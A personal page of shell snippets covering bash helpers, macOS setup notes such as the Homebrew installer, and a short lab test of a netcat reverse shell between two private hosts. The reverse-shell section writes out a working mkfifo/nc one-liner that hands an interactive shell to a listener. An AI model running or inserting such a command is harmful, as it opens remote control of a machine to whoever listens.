Shell

Bash - Snippets

some Bash snippets

Change Working Directory

Switch the Working Directory to the Base Path where the Scripts remains. Helpfull for Includes, Log Files, Relative Path and so on …

#!/usr/bin/env bash
script_path=$(dirname "$0")
cd "$script_path"

Check Return Code

Run a Command, store the Return Code, and check if it was successfull or failed

#!/usr/bin/env sh

check_ret () {
  if [[ "$ret" == "0" ]]; then
    echo "Command terminated sucessfully"
  else
    echo "Command returned an Error: ${ret}"
  fi
}

which bash > /dev/null 2>&1
ret=$?
check_ret $ret


which BASH > /dev/null 2>&1
ret=$?
check_ret $ret

exit 0

Source or Execute

You can Source a Script or Execute it. On Different Shells and on different Operation Systems.

macOS

some adaption for macOS

CUPS

enable cups

cupsctl WebInterface=yes
  • http://localhost:631/printers/

Shell

macOS is using zsh since while. If you wanna switch back to bash, here some Notes …"

Switch to Bash

chsh -s /bin/bash

Switch to Zsh

chsh -s /bin/zsh

install brew

the famous package manager for macOS

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

install keychain

if you work with ssh agent, you may wanna try keychain …

brew install keychain

build .bash_profile

this will overwrite your existing .bash_profile

OpenBSD - ReverseShell

Reverse Shells

Test it

Listen on Host A

Set Lister on Host A (192.168.1.100)

hostA # nc -l 4242

Start Reverse Shell on Host B

hostB # rm /tmp/f; mkfifo /tmp/f; /bin/sh -i 2>&1 </tmp/f |nc 192.168.1.100 4242 >/tmp/f

here we are

hostA # hostname
hostA.somewhere
hostA # nc -l 4242
hostB # hostname
hostB.somewhere

nice ;)


Any Comments ?

sha256: 0a5d01e633e102b0f3e258db89028946a247ef2296eab8dbf8819bc7472779c3